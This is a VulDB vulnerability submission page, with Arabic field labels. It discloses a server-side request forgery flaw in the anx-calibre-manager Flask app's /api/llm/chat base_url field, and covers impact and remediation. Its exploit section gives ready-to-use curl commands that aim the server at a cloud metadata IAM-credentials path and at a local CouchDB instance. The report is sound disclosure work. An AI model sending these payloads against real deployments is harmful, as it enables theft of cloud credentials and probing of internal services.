| عنوان | ptbsare (anx-calibre-manager project contributors) anx-calibre-manager (Flask web companion for the Calibre e-book manager) v1.13.12 Server-Side Request Forgery (SSRF) — CWE-918 |
|---|
| الوصف | Title: anx-calibre-manager blueprints/api/llm.py — SSRF via 'base_url' Field in LLM Configuration
Location: blueprints/api/llm.py, the LLMClient.chat() sink at line ~359, plus the POST /api/llm/chat route handler in the same file that forwards the user-supplied base_url to the LLMClient constructor. The endpoint is protected by @require_api_token (any valid API token issued by the application's regular flow is sufficient).
What the bug is: The /api/llm blueprint wraps an external LLM endpoint. The configured base_url is taken from the POST body (or an admin-supplied configuration form) and concatenated onto the chat completion path: requests.post(self.base_url.rstrip('/') + '/chat/completions', json=payload, headers={'Authorization': f'Bearer {self.api_key}', 'Content-Type': 'application/json'}, timeout=self.timeout). There is no validation that base_url points to a public LLM service. The endpoint allows the user to set the URL to http://x.x.x.x/latest/meta-data/iam/security-credentials/ or any internal host; the POST body (json payload) is forwarded verbatim; the response body is forwarded back to the caller via jsonify(). When the upstream returns a non-JSON response (which is what AWS IMDS returns), the exception handler bubbles the response body into the JSON error — so even HTTP errors leak the upstream payload. That makes the SSRF a high-fidelity read primitive against any reachable internal HTTP endpoint.
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 MEDIUM.
How to exploit: Step 1 — obtain an API token (or steal one from a compromised user's config): TOKEN=example-user-token-xxx. Step 2 — force the application to issue a POST to the IMDS endpoint, then return the raw payload back to the caller: curl -X POST "https://victim.example/api/llm/chat" -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"base_url":"http://x.x.x.x/latest/meta-data/iam/security-credentials/","messages":[{"role":"user","content":"hi"}]}'. Step 3 — second variant against internal HTTP services: curl -X POST "https://victim.example/api/llm/chat" -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"base_url":"http://127.0.0.1:5984/_all_dbs","messages":[{"role":"user","content":"hi"}]}'. Step 4 — observe that both requests issue an outbound POST from the Flask worker and return the body to the caller. On AWS EC2 the first response carries IAM credentials; the second leaks CouchDB database names. The PoC documents the exploitability, not the exploitation.
Impact: 1. Read access to cloud instance metadata services (AWS IMDSv1, GCP, Azure IMDS). 2. Read access to internal HTTP services reachable from the Flask worker (CouchDB, Redis, Elasticsearch, internal admin panels). 3. Reconnaissance of internal network topology.
Remediation: 1. Lock base_url to a single configurable value (LLM_BASE_URL) that the operator sets at deployment time and refuse per-request override. 2. If base_url is legitimately configurable per request, apply the shared _safe_https_url(url) helper that parses the URL, resolves the host and rejects RFC1918 / loopback / link-local / multicast / reserved, enforces HTTPS, re-checks after the connection, and disables automatic redirects. 3. Limit the response size and propagate only the relevant JSON fields to the caller (avoid bubbling raw upstream bodies). |
|---|
| المصدر | ⚠️ https://github.com/ptbsare/anx-calibre-manager |
|---|
| المستخدم | Plus0ne_27 (UID 101324) |
|---|
| ارسال | 17/09/2026 04:47 PM (1 شهر منذ) |
|---|
| الاعتدال | 19/10/2026 03:55 PM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 422342 [ptbsare anx-calibre-manager حتى 1.13.12 LLM Configuration blueprints/api/llm.py LLMClient.chat base_url تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|